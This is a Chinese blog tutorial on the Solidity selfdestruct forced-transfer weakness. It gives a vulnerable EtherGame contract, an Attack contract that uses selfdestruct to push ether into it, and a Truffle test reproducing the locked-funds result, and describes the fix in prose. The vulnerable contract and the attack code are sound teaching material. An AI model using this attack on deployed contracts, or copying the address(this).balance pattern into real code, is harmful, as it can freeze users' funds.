残月的小站

自毁函数 Self Destruct

  自毁函数 由以太坊智能合约提供,用于销毁区块链上的合约系统。当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,然后其存储和代码从状态中被移除。然而,自毁函数也是一把双刃剑,一方面它可以使开发人员能够从以太坊中删除智能合约并在紧急情况下转移以太币。另一方面自毁函数也可能成为攻击者的利用工具,攻击者可以利用该函数向目标合约“强制转账”从而影响目标合约的正常功能(比如开发者使用 address(this).balance 来取合约中的代币余额就可能会被攻击)。

漏洞代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
          require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

问题分析

  这里问题在于使用 address(this).balance ,作为取合约中的代币余额。如果合约中的代币余额大于 balance <= targetAmount 那这个游戏将永远没有赢家,这个余额也无法取出。原因是 solidity 中有很多可以转账的操作例如:
   transfer :转账出错会抛出异常后面代码不执行;
   send :转账出错不会抛出异常只返回 true/false 后面代码继续执行;
   call.value().gas()() :转账出错不会抛出异常只返回 true/false 后面代码继续执行,且使用 call 函数进行转账容易发生重入攻击
   selfdestruct :自毁函数不需要接受就能给合约强制转账的函数。
  向这里可以使用 selfdestruct 强制向合约转账。

攻击合约

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

  基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的EtherGame合约地址,在attack方法中将etherGame的合约地址作为转账地址,并将地址放入到selfdestruct中。当通过AttackselfdestructetherGame合约强行转一定额度账使其大于或者等于7 ether,下次用户执行时将不会触发winner = msg.sender;这个语法。

攻击复现

执行步骤

{hide}

1、创建项目文件夹,并在文件夹中初始化truffle项目

truffle init

2、将EtherGame.sol合约导入
3、在migrations文件夹下创建合约迁移文件

const EtherGame = artifacts.require("EtherGame");
const Attack = artifacts.require("Attack");

module.exports = async function(deployer,network,accounts){
    await deployer.deploy(EtherGame);
    await deployer.deploy(Attack,EtherGame.address);
}

4、在test文件夹下编写测试代码

const EtherGame = artifacts.require("EtherGame");
const Attack = artifacts.require("Attack");

contract("Test EtherGame",async (accounts)=>{
    it("Attack EtherGame",async ()=>{
        const EtherGameDeploy = await EtherGame.deployed()
        const AttackDeploy = await Attack.deployed()
        // 先向合约转入6笔交易
        for(var i = 0 ; i<6;i++){
            await EtherGameDeploy.deposit({value:web3.utils.toWei("1","ether"),from:accounts[0]})
        }
        // 攻击者强行转入 1 余额
        AttackDeploy.attack({value:web3.utils.toWei("1","ether"),from:accounts[1]})

        try{
            await EtherGameDeploy.claimReward({from:accounts[1]})
        }catch(err){
            console.log("攻击者无法取出")
        }
    })
})

这里写了个样例代码,步骤意思为:
  1)【1-2行】引入合约。
  2)【4-5行】创建测试合约组和单项测试用例。
  3)【 6 行】部署EtherGame合约(可以不写没有实际作用)。
  4)【 7 行】部署Attack合约。
  5)【 9-11 行】写一个for循环循环6次,使用EtherGamedeposit方法向合约转账共6 ether
  6)【 13 行】攻击者执行 Attack合约的attack方法并转入1 ether
  7)【 16 行】攻击者执行EtherGame合约中的claimReward方法尝试取出合约账户余额
5、运行truffle测试

truffle test

结果


这里最后攻击者转入合约1 ether,也无法取出合约账户的余额,其他人也无法取出,漏洞复现成功。

漏洞修补

  合约可以被攻击者攻击是因为依赖了 address(this).balance 来获取合约中的余额且这个值可以影响业务逻辑,所以我们这里可以设置一个变量 balance,只有玩家通过 EtherGame.deposit 成功向合约打入以太后 balance 才会增加。这样只要不是通过正常途径进来的以太都不会影响我们的 balance 了,避免强制转账导致的记账错误

修补过程

1、在合约状态变量中新增 balance 变量

2、修改deposit方法中 balance逻辑代码

3、修改claimReward方法中value转入的值的逻辑代码

4、修改测试逻辑

添加两行,用户先向合约中存入1 ether再调用clainReward方法取出余额
5、执行测试

执行成功未被clainReward回退,攻击者转入强转余额后也无法取出余额。

项目文件

{abtn icon="fa-cloud-download" color="#2e7fff" href="https://blog.dfcraft.cn/usr/uploads/2023/12/2366369877.tar" radius="5px" content="项目下载"/}

参考文章

{card-list}
{card-list-item}
智能合约安全审计入门篇 —— 自毁函数 | 登链社区 | 区块链技术社区
{/card-list-item}
{card-list-item}
Solidity by Example
{/card-list-item}
{card-list-item}
SWC-106 - Smart Contract Weakness Classification (SWC)
{/card-list-item}
{/card-list}

{/hide}

当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »